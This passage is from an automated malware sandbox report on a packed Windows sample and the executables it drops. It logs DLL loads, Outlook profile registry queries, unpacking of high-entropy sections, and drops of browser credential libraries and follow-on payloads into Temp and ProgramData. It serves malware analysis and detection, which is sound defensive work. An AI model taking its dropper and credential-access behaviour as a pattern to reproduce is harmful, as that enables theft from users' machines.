Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Section loaded: schannel.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1811968 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: file.exe

Static PE information: Raw size of drohdkwe is bigger than: 0x100000 < 0x1a0800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2154389102.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2154389102.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.b60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;drohdkwe:EW;resqcpza:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;drohdkwe:EW;resqcpza:EW;.taggant:EW;
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Unpacked PE file: 9.2.FCFBFHIEBK.exe.790000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rodlpghq:EW;uclczwpo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rodlpghq:EW;uclczwpo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 10.2.skotes.exe.c70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rodlpghq:EW;uclczwpo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rodlpghq:EW;uclczwpo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 11.2.skotes.exe.c70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rodlpghq:EW;uclczwpo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rodlpghq:EW;uclczwpo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 12.2.skotes.exe.c70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rodlpghq:EW;uclczwpo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rodlpghq:EW;uclczwpo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Unpacked PE file: 15.2.adebfeb535.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zeyoifdy:EW;tiucznkd:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Unpacked PE file: 16.2.bb0adee266.exe.b70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ckkgfuxh:EW;tllifhwj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ckkgfuxh:EW;tllifhwj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Unpacked PE file: 18.2.d88d6966da.exe.390000.0.unpack :EW;.rsrc:W;.idata :W; :EW;drohdkwe:EW;resqcpza:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;drohdkwe:EW;resqcpza:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Unpacked PE file: 20.2.39c228201d.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dfralmjm:EW;ffqqzebg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dfralmjm:EW;ffqqzebg:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.12.dr	Static PE information: real checksum: 0x447385 should be: 0x44511c
Source: 39c228201d.exe.12.dr	Static PE information: real checksum: 0x1d458e should be: 0x1d4175
Source: FCFBFHIEBK.exe.0.dr	Static PE information: real checksum: 0x1d010a should be: 0x1d0df2
Source: d88d6966da.exe.12.dr	Static PE information: real checksum: 0x1bf5d9 should be: 0x1c1963
Source: bb0adee266.exe.12.dr	Static PE information: real checksum: 0x454e17 should be: 0x44cc2e
Source: random[2].exe2.12.dr	Static PE information: real checksum: 0x1bf5d9 should be: 0x1c1963
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d010a should be: 0x1d0df2
Source: adebfeb535.exe.12.dr	Static PE information: real checksum: 0x1fa19c should be: 0x1f6a0c
Source: 67d914dff5.exe.12.dr	Static PE information: real checksum: 0x447385 should be: 0x44511c
Source: random[2].exe0.12.dr	Static PE information: real checksum: 0x2a79ed should be: 0x2ab235
Source: random[1].exe0.12.dr	Static PE information: real checksum: 0x1fa19c should be: 0x1f6a0c
Source: 1afc2fdbc4.exe.12.dr	Static PE information: real checksum: 0x2a79ed should be: 0x2ab235
Source: random[2].exe1.12.dr	Static PE information: real checksum: 0x1d458e should be: 0x1d4175
Source: random[1].exe1.12.dr	Static PE information: real checksum: 0x454e17 should be: 0x44cc2e
Source: file.exe	Static PE information: real checksum: 0x1bf5d9 should be: 0x1c1963
Source: skotes.exe.9.dr	Static PE information: real checksum: 0x1d010a should be: 0x1d0df2

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: drohdkwe
Source: file.exe	Static PE information: section name: resqcpza
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: rodlpghq
Source: random[1].exe.0.dr	Static PE information: section name: uclczwpo
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: FCFBFHIEBK.exe.0.dr	Static PE information: section name:
Source: FCFBFHIEBK.exe.0.dr	Static PE information: section name: .idata
Source: FCFBFHIEBK.exe.0.dr	Static PE information: section name:
Source: FCFBFHIEBK.exe.0.dr	Static PE information: section name: rodlpghq
Source: FCFBFHIEBK.exe.0.dr	Static PE information: section name: uclczwpo
Source: FCFBFHIEBK.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: rodlpghq
Source: skotes.exe.9.dr	Static PE information: section name: uclczwpo
Source: skotes.exe.9.dr	Static PE information: section name: .taggant
Source: random[2].exe0.12.dr	Static PE information: section name:
Source: random[2].exe0.12.dr	Static PE information: section name: .idata
Source: random[2].exe0.12.dr	Static PE information: section name: ngugtkpy
Source: random[2].exe0.12.dr	Static PE information: section name: bcqrxxbh
Source: random[2].exe0.12.dr	Static PE information: section name: .taggant
Source: 1afc2fdbc4.exe.12.dr	Static PE information: section name:
Source: 1afc2fdbc4.exe.12.dr	Static PE information: section name: .idata
Source: 1afc2fdbc4.exe.12.dr	Static PE information: section name: ngugtkpy
Source: 1afc2fdbc4.exe.12.dr	Static PE information: section name: bcqrxxbh
Source: 1afc2fdbc4.exe.12.dr	Static PE information: section name: .taggant
Source: random[1].exe.12.dr	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name: .idata
Source: random[1].exe.12.dr	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name: bjjwxerz
Source: random[1].exe.12.dr	Static PE information: section name: jotsvnig
Source: random[1].exe.12.dr	Static PE information: section name: .taggant
Source: 67d914dff5.exe.12.dr	Static PE information: section name:
Source: 67d914dff5.exe.12.dr	Static PE information: section name: .idata
Source: 67d914dff5.exe.12.dr	Static PE information: section name:
Source: 67d914dff5.exe.12.dr	Static PE information: section name: bjjwxerz
Source: 67d914dff5.exe.12.dr	Static PE information: section name: jotsvnig
Source: 67d914dff5.exe.12.dr	Static PE information: section name: .taggant
Source: random[1].exe0.12.dr	Static PE information: section name:
Source: random[1].exe0.12.dr	Static PE information: section name: .idata
Source: random[1].exe0.12.dr	Static PE information: section name:
Source: random[1].exe0.12.dr	Static PE information: section name: zeyoifdy
Source: random[1].exe0.12.dr	Static PE information: section name: tiucznkd
Source: random[1].exe0.12.dr	Static PE information: section name: .taggant
Source: adebfeb535.exe.12.dr	Static PE information: section name:
Source: adebfeb535.exe.12.dr	Static PE information: section name: .idata
Source: adebfeb535.exe.12.dr	Static PE information: section name:
Source: adebfeb535.exe.12.dr	Static PE information: section name: zeyoifdy
Source: adebfeb535.exe.12.dr	Static PE information: section name: tiucznkd
Source: adebfeb535.exe.12.dr	Static PE information: section name: .taggant
Source: random[1].exe1.12.dr	Static PE information: section name:
Source: random[1].exe1.12.dr	Static PE information: section name: .idata
Source: random[1].exe1.12.dr	Static PE information: section name:
Source: random[1].exe1.12.dr	Static PE information: section name: ckkgfuxh
Source: random[1].exe1.12.dr	Static PE information: section name: tllifhwj
Source: random[1].exe1.12.dr	Static PE information: section name: .taggant
Source: bb0adee266.exe.12.dr	Static PE information: section name:
Source: bb0adee266.exe.12.dr	Static PE information: section name: .idata
Source: bb0adee266.exe.12.dr	Static PE information: section name:
Source: bb0adee266.exe.12.dr	Static PE information: section name: ckkgfuxh
Source: bb0adee266.exe.12.dr	Static PE information: section name: tllifhwj
Source: bb0adee266.exe.12.dr	Static PE information: section name: .taggant
Source: random[2].exe1.12.dr	Static PE information: section name:
Source: random[2].exe1.12.dr	Static PE information: section name: .idata
Source: random[2].exe1.12.dr	Static PE information: section name:
Source: random[2].exe1.12.dr	Static PE information: section name: dfralmjm
Source: random[2].exe1.12.dr	Static PE information: section name: ffqqzebg
Source: random[2].exe1.12.dr	Static PE information: section name: .taggant
Source: 39c228201d.exe.12.dr	Static PE information: section name:
Source: 39c228201d.exe.12.dr	Static PE information: section name: .idata
Source: 39c228201d.exe.12.dr	Static PE information: section name:
Source: 39c228201d.exe.12.dr	Static PE information: section name: dfralmjm
Source: 39c228201d.exe.12.dr	Static PE information: section name: ffqqzebg
Source: 39c228201d.exe.12.dr	Static PE information: section name: .taggant
Source: random[2].exe2.12.dr	Static PE information: section name:
Source: random[2].exe2.12.dr	Static PE information: section name: .idata
Source: random[2].exe2.12.dr	Static PE information: section name:
Source: random[2].exe2.12.dr	Static PE information: section name: drohdkwe
Source: random[2].exe2.12.dr	Static PE information: section name: resqcpza
Source: random[2].exe2.12.dr	Static PE information: section name: .taggant
Source: d88d6966da.exe.12.dr	Static PE information: section name:
Source: d88d6966da.exe.12.dr	Static PE information: section name: .idata
Source: d88d6966da.exe.12.dr	Static PE information: section name:
Source: d88d6966da.exe.12.dr	Static PE information: section name: drohdkwe
Source: d88d6966da.exe.12.dr	Static PE information: section name: resqcpza
Source: d88d6966da.exe.12.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00C8D91C push ecx; ret	12_2_00C8D92F
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0040A237 push ecx; ret	15_2_0040A24A
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_00421B7D push esi; ret	15_2_00421B86
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005F907E push eax; mov dword ptr [esp], 7C0A1800h	15_2_005F9716
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_006FA02B push 2FE5EA4Ah; mov dword ptr [esp], edx	15_2_006FA04C
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0066002A push edi; mov dword ptr [esp], 7FF67FE6h	15_2_0066004E
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005F8038 push edi; mov dword ptr [esp], 64604D33h	15_2_005F896F
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005F8038 push eax; mov dword ptr [esp], 048AF376h	15_2_005F8988
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005F8038 push eax; mov dword ptr [esp], 7C0A1800h	15_2_005F9716
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0062E819 push esi; mov dword ptr [esp], edi	15_2_0062E851
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0062E819 push 6395451Bh; mov dword ptr [esp], eax	15_2_0062E878
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_006860E1 push edi; mov dword ptr [esp], ebp	15_2_006861C3
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0061C0FE push edi; ret	15_2_0061C10D
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_006BB8B3 push edi; mov dword ptr [esp], ebp	15_2_006BB89B
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_006BB8B3 push 175DBF00h; mov dword ptr [esp], ecx	15_2_006BB940
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_006BB8B3 push ecx; mov dword ptr [esp], edi	15_2_006BB99B
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005FB8B2 push cs; ret	15_2_005FB8C2
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_00678965 push esi; mov dword ptr [esp], ebx	15_2_00678984
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_00678965 push 2B048274h; mov dword ptr [esp], ebx	15_2_006789B3
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005F8144 push esp; retf	15_2_005F8145
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0061B950 push eax; mov dword ptr [esp], edx	15_2_0061B966
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0061B950 push edi; mov dword ptr [esp], ecx	15_2_0061B999
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005F8968 push edi; mov dword ptr [esp], 64604D33h	15_2_005F896F
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005F8968 push eax; mov dword ptr [esp], 048AF376h	15_2_005F8988
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005F8968 push eax; mov dword ptr [esp], 7C0A1800h	15_2_005F9716
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0061C159 push edx; ret	15_2_0061C168
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_00697139 push eax; mov dword ptr [esp], ebx	15_2_00697158
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0065A9E3 push edx; mov dword ptr [esp], ebp	15_2_0065AA0F
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_006C09C5 push eax; mov dword ptr [esp], ebp	15_2_006C0945
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_006259BB push edx; mov dword ptr [esp], 4643DAE7h	15_2_00625A6E
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_006259BB push 47D61941h; mov dword ptr [esp], edi	15_2_00625A8E

Source: file.exe	Static PE information: section name: drohdkwe entropy: 7.955000725688909
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.981676234655762
Source: random[1].exe.0.dr	Static PE information: section name: rodlpghq entropy: 7.9536020902065
Source: FCFBFHIEBK.exe.0.dr	Static PE information: section name: entropy: 7.981676234655762
Source: FCFBFHIEBK.exe.0.dr	Static PE information: section name: rodlpghq entropy: 7.9536020902065
Source: skotes.exe.9.dr	Static PE information: section name: entropy: 7.981676234655762
Source: skotes.exe.9.dr	Static PE information: section name: rodlpghq entropy: 7.9536020902065
Source: random[2].exe0.12.dr	Static PE information: section name: entropy: 7.811228285337866
Source: 1afc2fdbc4.exe.12.dr	Static PE information: section name: entropy: 7.811228285337866
Source: random[1].exe.12.dr	Static PE information: section name: bjjwxerz entropy: 7.956509940720926
Source: 67d914dff5.exe.12.dr	Static PE information: section name: bjjwxerz entropy: 7.956509940720926
Source: random[1].exe0.12.dr	Static PE information: section name: entropy: 7.933330547933749
Source: random[1].exe0.12.dr	Static PE information: section name: zeyoifdy entropy: 7.949718189685727
Source: adebfeb535.exe.12.dr	Static PE information: section name: entropy: 7.933330547933749
Source: adebfeb535.exe.12.dr	Static PE information: section name: zeyoifdy entropy: 7.949718189685727
Source: random[1].exe1.12.dr	Static PE information: section name: ckkgfuxh entropy: 7.956159109830386
Source: bb0adee266.exe.12.dr	Static PE information: section name: ckkgfuxh entropy: 7.956159109830386
Source: random[2].exe1.12.dr	Static PE information: section name: entropy: 7.966051572041144
Source: random[2].exe1.12.dr	Static PE information: section name: dfralmjm entropy: 7.954454519025659
Source: 39c228201d.exe.12.dr	Static PE information: section name: entropy: 7.966051572041144
Source: 39c228201d.exe.12.dr	Static PE information: section name: dfralmjm entropy: 7.954454519025659
Source: random[2].exe2.12.dr	Static PE information: section name: drohdkwe entropy: 7.955000725688909
Source: d88d6966da.exe.12.dr	Static PE information: section name: drohdkwe entropy: 7.955000725688909

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\FCFBFHIEBK.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010576001\1afc2fdbc4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Jump to dropped file
